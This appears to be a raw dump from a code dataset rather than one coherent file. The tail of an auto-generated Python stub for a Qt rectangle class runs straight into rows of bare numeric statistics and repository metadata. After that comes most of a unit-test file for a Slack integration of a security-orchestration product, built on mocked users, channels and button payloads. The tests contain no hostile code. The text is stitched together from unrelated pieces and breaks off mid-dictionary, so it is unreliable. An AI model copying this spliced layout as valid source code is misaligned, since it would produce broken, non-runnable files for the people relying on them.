def bottomRight(self, *args, **kwargs): # real signature unknown
pass
def center(self, *args, **kwargs): # real signature unknown
pass
def contains(self, *args, **kwargs): # real signature unknown
pass
def getCoords(self, *args, **kwargs): # real signature unknown
pass
def getRect(self, *args, **kwargs): # real signature unknown
pass
def height(self, *args, **kwargs): # real signature unknown
pass
def intersect(self, *args, **kwargs): # real signature unknown
pass
def intersected(self, *args, **kwargs): # real signature unknown
pass
def intersects(self, *args, **kwargs): # real signature unknown
pass
def isEmpty(self, *args, **kwargs): # real signature unknown
pass
def isNull(self, *args, **kwargs): # real signature unknown
pass
def isValid(self, *args, **kwargs): # real signature unknown
pass
def left(self, *args, **kwargs): # real signature unknown
pass
def moveBottom(self, *args, **kwargs): # real signature unknown
pass
def moveBottomLeft(self, *args, **kwargs): # real signature unknown
pass
def moveBottomRight(self, *args, **kwargs): # real signature unknown
pass
def moveCenter(self, *args, **kwargs): # real signature unknown
pass
def moveLeft(self, *args, **kwargs): # real signature unknown
pass
def moveRight(self, *args, **kwargs): # real signature unknown
pass
def moveTo(self, *args, **kwargs): # real signature unknown
pass
def moveTop(self, *args, **kwargs): # real signature unknown
pass
def moveTopLeft(self, *args, **kwargs): # real signature unknown
pass
def moveTopRight(self, *args, **kwargs): # real signature unknown
pass
def normalized(self, *args, **kwargs): # real signature unknown
pass
def right(self, *args, **kwargs): # real signature unknown
pass
def setBottom(self, *args, **kwargs): # real signature unknown
pass
def setBottomLeft(self, *args, **kwargs): # real signature unknown
pass
def setBottomRight(self, *args, **kwargs): # real signature unknown
pass
def setCoords(self, *args, **kwargs): # real signature unknown
pass
def setHeight(self, *args, **kwargs): # real signature unknown
pass
def setLeft(self, *args, **kwargs): # real signature unknown
pass
def setRect(self, *args, **kwargs): # real signature unknown
pass
def setRight(self, *args, **kwargs): # real signature unknown
pass
def setSize(self, *args, **kwargs): # real signature unknown
pass
def setTop(self, *args, **kwargs): # real signature unknown
pass
def setTopLeft(self, *args, **kwargs): # real signature unknown
pass
def setTopRight(self, *args, **kwargs): # real signature unknown
pass
def setWidth(self, *args, **kwargs): # real signature unknown
pass
def setX(self, *args, **kwargs): # real signature unknown
pass
def setY(self, *args, **kwargs): # real signature unknown
pass
def size(self, *args, **kwargs): # real signature unknown
pass
def toAlignedRect(self, *args, **kwargs): # real signature unknown
pass
def top(self, *args, **kwargs): # real signature unknown
pass
def topLeft(self, *args, **kwargs): # real signature unknown
pass
def topRight(self, *args, **kwargs): # real signature unknown
pass
def toRect(self, *args, **kwargs): # real signature unknown
pass
def translate(self, *args, **kwargs): # real signature unknown
pass
def translated(self, *args, **kwargs): # real signature unknown
pass
def unite(self, *args, **kwargs): # real signature unknown
pass
def united(self, *args, **kwargs): # real signature unknown
pass
def width(self, *args, **kwargs): # real signature unknown
pass
def x(self, *args, **kwargs): # real signature unknown
pass
def y(self, *args, **kwargs): # real signature unknown
pass
def __and__(self, y): # real signature unknown; restored from __doc__
""" x.__and__(y) <==> x&y """
pass
def __copy__(self, *args, **kwargs): # real signature unknown
pass
def __eq__(self, y): # real signature unknown; restored from __doc__
""" x.__eq__(y) <==> x==y """
pass
def __ge__(self, y): # real signature unknown; restored from __doc__
""" x.__ge__(y) <==> x>=y """
pass
def __gt__(self, y): # real signature unknown; restored from __doc__
""" x.__gt__(y) <==> x>y """
pass
def __iand__(self, y): # real signature unknown; restored from __doc__
""" x.__iand__(y) <==> x&=y """
pass
def __init__(self, *args, **kwargs): # real signature unknown
pass
def __ior__(self, y): # real signature unknown; restored from __doc__
""" x.__ior__(y) <==> x|=y """
pass
def __le__(self, y): # real signature unknown; restored from __doc__
""" x.__le__(y) <==> x<=y """
pass
def __lt__(self, y): # real signature unknown; restored from __doc__
""" x.__lt__(y) <==> x<y """
pass
@staticmethod # known case of __new__
def __new__(S, *more): # real signature unknown; restored from __doc__
""" T.__new__(S, ...) -> a new object with type S, a subtype of T """
pass
def __ne__(self, y): # real signature unknown; restored from __doc__
""" x.__ne__(y) <==> x!=y """
pass
def __nonzero__(self): # real signature unknown; restored from __doc__
""" x.__nonzero__() <==> x != 0 """
pass
def __or__(self, y): # real signature unknown; restored from __doc__
""" x.__or__(y) <==> x|y """
pass
def __rand__(self, y): # real signature unknown; restored from __doc__
""" x.__rand__(y) <==> y&x """
pass
def __reduce__(self, *args, **kwargs): # real signature unknown
pass
def __repr__(self): # real signature unknown; restored from __doc__
""" x.__repr__() <==> repr(x) """
pass
def __ror__(self, y): # real signature unknown; restored from __doc__
""" x.__ror__(y) <==> y|x """
pass
| 27.419608
| 77
| 0.59897
| 821
| 6,992
| 4.857491
| 0.148599
| 0.244483
| 0.376128
| 0.270812
| 0.791625
| 0.769057
| 0.760281
| 0.760281
| 0.12337
| 0
| 0
| 0.00158
| 0.27603
| 6,992
| 254
| 78
| 27.527559
| 0.78625
| 0.374571
| 0
| 0.490196
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.490196
| false
| 0.490196
| 0.006536
| 0
| 0.503268
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 1
| 0
|
0
| 9
|
e06ffab4d00719ad580eae98aacea8fca919e45a
| 150,626
|
py
|
Python
|
Packs/Slack/Integrations/Slack/Slack_test.py
|
smokescreen-akshay/content
|
780e0c57a3201e405d4416154c5d08a4fbb9384c
|
[
"MIT"
] | 1
|
2020-04-19T11:05:42.000Z
|
2020-04-19T11:05:42.000Z
|
Packs/Slack/Integrations/Slack/Slack_test.py
|
smokescreen-akshay/content
|
780e0c57a3201e405d4416154c5d08a4fbb9384c
|
[
"MIT"
] | null | null | null |
Packs/Slack/Integrations/Slack/Slack_test.py
|
smokescreen-akshay/content
|
780e0c57a3201e405d4416154c5d08a4fbb9384c
|
[
"MIT"
] | 1
|
2021-05-31T15:08:48.000Z
|
2021-05-31T15:08:48.000Z
|
import demistomock as demisto
from CommonServerPython import *
from CommonServerUserPython import *
import slack
import pytest
import asyncio
import json as js
import datetime
from unittest.mock import mock_open
USERS = '''[{
"id": "U012A3CDE",
"team_id": "T012AB3C4",
"name": "spengler",
"deleted": false,
"color": "9f69e7",
"real_name": "spengler",
"tz": "America/Los_Angeles",
"tz_label": "Pacific Daylight Time",
"tz_offset": -25200,
"profile": {
"avatar_hash": "ge3b51ca72de",
"status_text": "Print is dead",
"status_emoji": ":books:",
"real_name": "Egon Spengler",
"display_name": "spengler",
"real_name_normalized": "Egon Spengler",
"display_name_normalized": "spengler",
"email": "spengler@ghostbusters.example.com",
"team": "T012AB3C4"
},
"is_admin": true,
"is_owner": false,
"is_primary_owner": false,
"is_restricted": false,
"is_ultra_restricted": false,
"is_bot": false,
"updated": 1502138686,
"is_app_user": false,
"has_2fa": false
},
{
"id": "U07QCRPA4",
"team_id": "T0G9PQBBK",
"name": "glinda",
"deleted": false,
"color": "9f69e7",
"real_name": "Glinda Southgood",
"tz": "America/Los_Angeles",
"tz_label": "Pacific Daylight Time",
"tz_offset": -25200,
"profile": {
"avatar_hash": "8fbdd10b41c6",
"first_name": "Glinda",
"last_name": "Southgood",
"title": "Glinda the Good",
"phone": "",
"skype": "",
"real_name": "Glinda Southgood",
"real_name_normalized": "Glinda Southgood",
"display_name": "Glinda the Fairly Good",
"display_name_normalized": "Glinda the Fairly Good",
"email": "Glenda@south.oz.coven"
},
"is_admin": true,
"is_owner": false,
"is_primary_owner": false,
"is_restricted": false,
"is_ultra_restricted": false,
"is_bot": false,
"updated": 1480527098,
"has_2fa": false
}]'''
CONVERSATIONS = '''[{
"id": "C012AB3CD",
"name": "general",
"is_channel": true,
"is_group": false,
"is_im": false,
"created": 1449252889,
"creator": "U012A3CDE",
"is_archived": false,
"is_general": true,
"unlinked": 0,
"name_normalized": "general",
"is_shared": false,
"is_ext_shared": false,
"is_org_shared": false,
"pending_shared": [],
"is_pending_ext_shared": false,
"is_member": true,
"is_private": false,
"is_mpim": false,
"topic": {
"value": "Company-wide announcements and work-based matters",
"creator": "",
"last_set": 0
},
"purpose": {
"value": "This channel is for team-wide communication and announcements. All team members are in this channel.",
"creator": "",
"last_set": 0
},
"previous_names": [],
"num_members": 4
},
{
"id": "C061EG9T2",
"name": "random",
"is_channel": true,
"is_group": false,
"is_im": false,
"created": 1449252889,
"creator": "U061F7AUR",
"is_archived": false,
"is_general": false,
"unlinked": 0,
"name_normalized": "random",
"is_shared": false,
"is_ext_shared": false,
"is_org_shared": false,
"pending_shared": [],
"is_pending_ext_shared": false,
"is_member": true,
"is_private": false,
"is_mpim": false,
"topic": {
"value": "Non-work banter and water cooler conversation",
"creator": "",
"last_set": 0
},
"purpose": {
"value": "A place for non-work-related flimflam.",
"creator": "",
"last_set": 0
},
"previous_names": [],
"num_members": 4
}]'''
BOT = '''{
"ok": true,
"url": "https://subarachnoid.slack.com/",
"team": "Subarachnoid Workspace",
"user": "grace",
"team_id": "T12345678",
"user_id": "W12345678"
}'''
MIRRORS = '''
[{
"channel_id":"GKQ86DVPH",
"channel_name": "incident-681",
"channel_topic": "incident-681",
"investigation_id":"681",
"mirror_type":"all",
"mirror_direction":"both",
"mirror_to":"group",
"auto_close":true,
"mirrored":true
},
{
"channel_id":"GKB19PA3V",
"channel_name": "group2",
"channel_topic": "cooltopic",
"investigation_id":"684",
"mirror_type":"all",
"mirror_direction":"both",
"mirror_to":"group",
"auto_close":true,
"mirrored":true
},
{
"channel_id":"GKB19PA3V",
"channel_name": "group2",
"channel_topic": "cooltopic",
"investigation_id":"692",
"mirror_type":"all",
"mirror_direction":"both",
"mirror_to":"group",
"auto_close":true,
"mirrored":true
},
{
"channel_id":"GKNEJU4P9",
"channel_name": "group3",
"channel_topic": "incident-713",
"investigation_id":"713",
"mirror_type":"all",
"mirror_direction":"both",
"mirror_to":"group",
"auto_close":true,
"mirrored":true
},
{
"channel_id":"GL8GHC0LV",
"channel_name": "group5",
"channel_topic": "incident-734",
"investigation_id":"734",
"mirror_type":"all",
"mirror_direction":"both",
"mirror_to":"group",
"auto_close":true,
"mirrored":true
}]
'''
BLOCK_JSON = [{
'type': 'section',
'text': {
'type': 'mrkdwn',
'text': 'text'
}
}, {
'type': 'actions',
'elements': [{
'type': 'button',
'text': {
'type': 'plain_text',
'emoji': True,
'text': 'yes'
},
'style': 'primary',
'value': '{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}',
}, {
'type': 'button',
'text': {
'type': 'plain_text',
'emoji': True,
'text': 'no'
},
'style': 'danger',
'value': '{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}',
}]}]
PAYLOAD_JSON = r'''
{
"type":"block_actions",
"team":{
"id":"T9XJ4RGNQ",
"domain":"dombo60"
},
"user":{
"id":"U012A3CDE",
"username":"spengler",
"name":"spengler",
"team_id":"T9XJ4RGNQ"
},
"api_app_id":"AMU4M2QL8",
"token":"GBGG7mn61zg0a62MT9blXJnn",
"container":{
"type":"message",
"message_ts":"1567945126.000100",
"channel_id":"DMGSNFCSX",
"is_ephemeral":false
},
"trigger_id":"754598374743.337616866772.8c4b2dc28ca7fd4c8941247c1a01c7dd",
"channel":{
"id":"DMGSNFCSX",
"name":"directmessage"
},
"message":{
"type":"message",
"subtype":"bot_message",
"text":"This content can't be displayed.",
"ts":"1567945126.000100",
"username":"BlockTest",
"bot_id":"BMWFS6KSA",
"blocks":[
{
"type":"section",
"block_id":"F9iYK",
"text":{
"type":"mrkdwn",
"text":"Hopa this is a test. ",
"verbatim":false
},
"accessory":{
"type":"button",
"text":{
"type":"plain_text",
"text":"Eyy",
"emoji":true
},
"value":"{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}",
"action_id":"W9J"
}
}
]
},
"response_url":"hooks.slack.com",
"actions":[
{
"action_id":"W9J",
"block_id":"F9iYK",
"text":{
"type":"plain_text",
"text":"Eyy",
"emoji":true
},
"value":"{\"entitlement\": \"e95cb5a1-e394-4bc5-8ce0-508973aaf298@22|43\", \"reply\": \"Thanks bro\"}",
"type":"button",
"action_ts":"1567949681.728426"
}
]
}
'''
def get_integration_context():
return INTEGRATION_CONTEXT
def set_integration_context(integration_context):
global INTEGRATION_CONTEXT
INTEGRATION_CONTEXT = integration_context
RETURN_ERROR_TARGET = 'Slack.return_error'
@pytest.fixture(autouse=True)
def setup(mocker):
from Slack import init_globals
mocker.patch.object(demisto, 'info')
mocker.patch.object(demisto, 'debug')
set_integration_context({
'mirrors': MIRRORS,
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
init_globals()
def test_merge_lists():
from Slack import merge_lists
# Set
original = [{'id': '1', 'updated': 'n'}, {'id': '2', 'updated': 'n'}]
updated = [{'id': '1', 'updated': 'y'}, {'id': '3', 'updated': 'y'}]
expected = [{'id': '1', 'updated': 'y'}, {'id': '2', 'updated': 'n'}, {'id': '3', 'updated': 'y'}]
# Arrange
result = merge_lists(original, updated, 'id')
# Assert
assert result == expected
@pytest.mark.asyncio
async def test_get_slack_name_user(mocker):
from Slack import get_slack_name
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.info':
user = params['user']
if user != 'alexios':
return {'user': js.loads(USERS)[0]}
elif method == 'conversations.info':
return {'channel': js.loads(CONVERSATIONS)[0]}
return None
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Assert
# User in integration context
user_id = 'U012A3CDE'
name = await get_slack_name(user_id, slack.WebClient)
assert name == 'spengler'
assert slack.WebClient.api_call.call_count == 0
# User not in integration context
unknown_user = 'USASSON'
name = await get_slack_name(unknown_user, slack.WebClient)
assert name == 'spengler'
assert slack.WebClient.api_call.call_count == 1
# User does not exist
nonexisting_user = 'alexios'
name = await get_slack_name(nonexisting_user, slack.WebClient)
assert name == ''
assert slack.WebClient.api_call.call_count == 1
@pytest.mark.asyncio
async def test_get_slack_name_channel(mocker):
from Slack import get_slack_name
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.info':
user = params['user']
if user != 'alexios':
return {'user': js.loads(USERS)[0]}
elif method == 'conversations.info':
return {'channel': js.loads(CONVERSATIONS)[0]}
return None
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Assert
# Channel in integration context
channel_id = 'C012AB3CD'
name = await get_slack_name(channel_id, slack.WebClient)
assert name == 'general'
assert slack.WebClient.api_call.call_count == 0
# Channel not in integration context
unknown_channel = 'CSASSON'
name = await get_slack_name(unknown_channel, slack.WebClient)
assert name == 'general'
assert slack.WebClient.api_call.call_count == 1
# Channel doesn't exist
nonexisting_channel = 'lulz'
name = await get_slack_name(nonexisting_channel, slack.WebClient)
assert name == ''
assert slack.WebClient.api_call.call_count == 1
@pytest.mark.asyncio
async def test_clean_message(mocker):
from Slack import clean_message
# Set
@asyncio.coroutine
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.info':
return {'user': js.loads(USERS)[0]}
elif method == 'conversations.info':
return {'channel': js.loads(CONVERSATIONS)[0]}
return None
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
user_message = 'Hello <@U012A3CDE>!'
channel_message = 'Check <#C012AB3CD>'
link_message = 'Go to <https://www.google.com/lulz>'
# Arrange
clean_user_message = await clean_message(user_message, slack.WebClient)
clean_channel_message = await clean_message(channel_message, slack.WebClient)
clean_link_message = await clean_message(link_message, slack.WebClient)
# Assert
assert clean_user_message == 'Hello spengler!'
assert clean_channel_message == 'Check general'
assert clean_link_message == 'Go to https://www.google.com/lulz'
def test_get_user_by_name(mocker):
from Slack import get_user_by_name
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
users = {'members': js.loads(USERS)}
new_user = {
'name': 'perikles',
'profile': {
'email': 'perikles@acropoli.com',
},
'id': 'U012B3CUI'
}
users['members'].append(new_user)
return users
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Assert
# User name exists in integration context
username = 'spengler'
user = get_user_by_name(username)
assert user['id'] == 'U012A3CDE'
assert slack.WebClient.api_call.call_count == 0
# User email exists in integration context
email = 'spengler@ghostbusters.example.com'
user = get_user_by_name(email)
assert user['id'] == 'U012A3CDE'
assert slack.WebClient.api_call.call_count == 0
# User name doesn't exist in integration context
username = 'perikles'
user = get_user_by_name(username)
assert user['id'] == 'U012B3CUI'
assert slack.WebClient.api_call.call_count == 1
set_integration_context({
'mirrors': MIRRORS,
'users': USERS,
'conversations': CONVERSATIONS,
'bot_id': 'W12345678'
})
# User email doesn't exist in integration context
email = 'perikles@acropoli.com'
user = get_user_by_name(email)
assert user['id'] == 'U012B3CUI'
assert slack.WebClient.api_call.call_count == 2
# User doesn't exist
username = 'alexios'
user = get_user_by_name(username)
assert user == {}
assert slack.WebClient.api_call.call_count == 3
def test_get_user_by_name_paging(mocker):
from Slack import get_user_by_name
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if len(params) == 1:
return {'members': js.loads(USERS), 'response_metadata': {
'next_cursor': 'dGVhbTpDQ0M3UENUTks='
}}
else:
return {'members': [{
'id': 'U248918AB',
'name': 'alexios'
}], 'response_metadata': {
'next_cursor': ''
}}
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
user = get_user_by_name('alexios')
args = slack.WebClient.api_call.call_args_list
first_args = args[0][1]
second_args = args[1][1]
# Assert
assert len(first_args['params']) == 1
assert first_args['params']['limit'] == 200
assert len(second_args['params']) == 2
assert second_args['params']['cursor'] == 'dGVhbTpDQ0M3UENUTks='
assert user['id'] == 'U248918AB'
assert slack.WebClient.api_call.call_count == 2
def test_mirror_investigation_new_mirror(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
if method == 'channels.create':
return {'channel': {
'id': 'new_channel', 'name': 'incident-999'
}}
if method == 'groups.create':
return {'group': {
'id': 'new_group', 'name': 'incident-999'
}}
else:
return {}
mocker.patch.object(demisto, 'args', return_value={})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'})
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'new_group',
'channel_name': 'incident-999',
'channel_topic': 'incident-999',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
}
# Arrange
mirror_investigation()
success_results = demisto.results.call_args_list[0][0]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
new_conversations = js.loads(new_context['conversations'])
our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations))
our_conversation = our_conversation_filter[0]
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
# Assert
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
chat_call = [c for c in calls if c[0][0] == 'chat.postMessage']
message_args = chat_call[0][1]['json']
assert len(groups_call) == 1
assert len(invite_call) == 1
assert len(topic_call) == 1
assert len(chat_call) == 1
assert success_results[0] == 'Investigation mirrored successfully, channel: incident-999'
assert message_args['channel'] == 'new_group'
assert message_args['text'] == 'This channel was created to mirror incident 999.' \
' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999'
assert len(our_conversation_filter) == 1
assert len(our_mirror_filter) == 1
assert our_conversation == {'id': 'new_group', 'name': 'incident-999'}
assert our_mirror == new_mirror
def test_mirror_investigation_new_mirror_with_name(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
if method == 'channels.create':
return {'channel': {
'id': 'new_channel', 'name': 'coolname'
}}
if method == 'groups.create':
return {'group': {
'id': 'new_group', 'name': 'coolname'
}}
else:
return {}
mocker.patch.object(demisto, 'args', return_value={'channelName': 'coolname'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'})
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'new_group',
'channel_name': 'coolname',
'channel_topic': 'incident-999',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
}
# Arrange
mirror_investigation()
success_results = demisto.results.call_args_list[0][0]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
new_conversations = js.loads(new_context['conversations'])
our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations))
our_conversation = our_conversation_filter[0]
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
# Assert
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
chat_call = [c for c in calls if c[0][0] == 'chat.postMessage']
message_args = chat_call[0][1]['json']
assert len(groups_call) == 1
assert len(users_call) == 0
assert len(invite_call) == 1
assert len(topic_call) == 1
assert len(chat_call) == 1
assert success_results[0] == 'Investigation mirrored successfully, channel: coolname'
assert message_args['channel'] == 'new_group'
assert message_args['text'] == 'This channel was created to mirror incident 999.' \
' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999'
assert len(our_conversation_filter) == 1
assert len(our_mirror_filter) == 1
assert our_conversation == {'id': 'new_group', 'name': 'coolname'}
assert our_mirror == new_mirror
def test_mirror_investigation_new_mirror_with_topic(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
if method == 'channels.create':
return {'channel': {
'id': 'new_channel', 'name': 'coolname'
}}
if method == 'groups.create':
return {'group': {
'id': 'new_group', 'name': 'coolname'
}}
else:
return {}
mocker.patch.object(demisto, 'args', return_value={'channelName': 'coolname', 'channelTopic': 'cooltopic'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '999', 'users': ['spengler', 'alexios']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'demistoUrls', return_value={'server': 'https://www.eizelulz.com:8443'})
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'new_group',
'channel_name': 'coolname',
'channel_topic': 'cooltopic',
'investigation_id': '999',
'mirror_type': 'all',
'mirror_direction': 'both',
'mirror_to': 'group',
'auto_close': True,
'mirrored': False
}
# Arrange
mirror_investigation()
success_results = demisto.results.call_args_list[0][0]
new_context = demisto.setIntegrationContext.call_args[0][0]
new_mirrors = js.loads(new_context['mirrors'])
new_conversations = js.loads(new_context['conversations'])
our_conversation_filter = list(filter(lambda c: c['id'] == 'new_group', new_conversations))
our_conversation = our_conversation_filter[0]
our_mirror_filter = list(filter(lambda m: '999' == m['investigation_id'], new_mirrors))
our_mirror = our_mirror_filter[0]
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
chat_call = [c for c in calls if c[0][0] == 'chat.postMessage']
message_args = chat_call[0][1]['json']
topic_args = topic_call[0][1]['json']
# Assert
assert len(groups_call) == 1
assert len(users_call) == 0
assert len(invite_call) == 1
assert len(topic_call) == 1
assert len(chat_call) == 1
assert success_results[0] == 'Investigation mirrored successfully, channel: coolname'
assert message_args['channel'] == 'new_group'
assert message_args['text'] == 'This channel was created to mirror incident 999.' \
' \n View it on: https://www.eizelulz.com:8443#/WarRoom/999'
assert topic_args['channel'] == 'new_group'
assert topic_args['topic'] == 'cooltopic'
assert len(our_conversation_filter) == 1
assert len(our_mirror_filter) == 1
assert our_conversation == {'id': 'new_group', 'name': 'coolname'}
assert our_mirror == new_mirror
def test_mirror_investigation_existing_mirror_error_type(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mocker.patch.object(demisto, 'args', return_value={'type': 'chat', 'autoclose': 'false',
'direction': 'FromDemisto', 'mirrorTo': 'channel'})
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
with pytest.raises(InterruptedError):
mirror_investigation()
err_msg = return_error_mock.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
topic_call = [c for c in calls if c[0][0] == 'conversations.setTopic']
# Assert
assert len(topic_call) == 0
assert len(groups_call) == 0
assert len(users_call) == 0
assert len(invite_call) == 0
assert len(channels_call) == 0
assert return_error_mock.call_count == 1
assert err_msg == 'Cannot change the Slack channel type from Demisto.'
def test_mirror_investigation_existing_mirror_error_name(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mocker.patch.object(demisto, 'args', return_value={'channelName': 'eyy'})
return_error_mock = mocker.patch(RETURN_ERROR_TARGET, side_effect=InterruptedError())
mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']})
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(demisto, 'results')
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
# Arrange
with pytest.raises(InterruptedError):
mirror_investigation()
err_msg = return_error_mock.call_args[0][0]
calls = slack.WebClient.api_call.call_args_list
groups_call = [c for c in calls if c[0][0] == 'groups.create']
channels_call = [c for c in calls if c[0][0] == 'channels.create']
users_call = [c for c in calls if c[0][0] == 'users.list']
invite_call = [c for c in calls if c[0][0] == 'conversations.invite']
# Assert
assert len(groups_call) == 0
assert len(invite_call) == 0
assert len(channels_call) == 0
assert len(users_call) == 0
assert return_error_mock.call_count == 1
assert err_msg == 'Cannot change the Slack channel name.'
def test_mirror_investigation_existing_investigation(mocker):
from Slack import mirror_investigation
# Set
def api_call(method: str, http_verb: str = 'POST', file: dict = None, params=None, json=None, data=None):
if method == 'users.list':
return {'members': js.loads(USERS)}
mocker.patch.object(demisto, 'args', return_value={'type': 'chat', 'autoclose': 'false',
'direction': 'FromDemisto', 'mirrorTo': 'group'})
mocker.patch.object(demisto, 'investigation', return_value={'id': '681', 'users': ['spengler']})
mocker.patch.object(demisto, 'results')
mocker.patch.object(demisto, 'getIntegrationContext', side_effect=get_integration_context)
mocker.patch.object(demisto, 'setIntegrationContext', side_effect=set_integration_context)
mocker.patch.object(slack.WebClient, 'api_call', side_effect=api_call)
new_mirror = {
'channel_id': 'GKQ86DVPH',
'investigation_id': '681',
'channel_name': 'incident-681',
'channel_topic': 'incident-681',
'mirror_type': 'chat',
'mirror_direction': 'FromDemisto',
'mirror_to': 'group',
'auto_close': False,
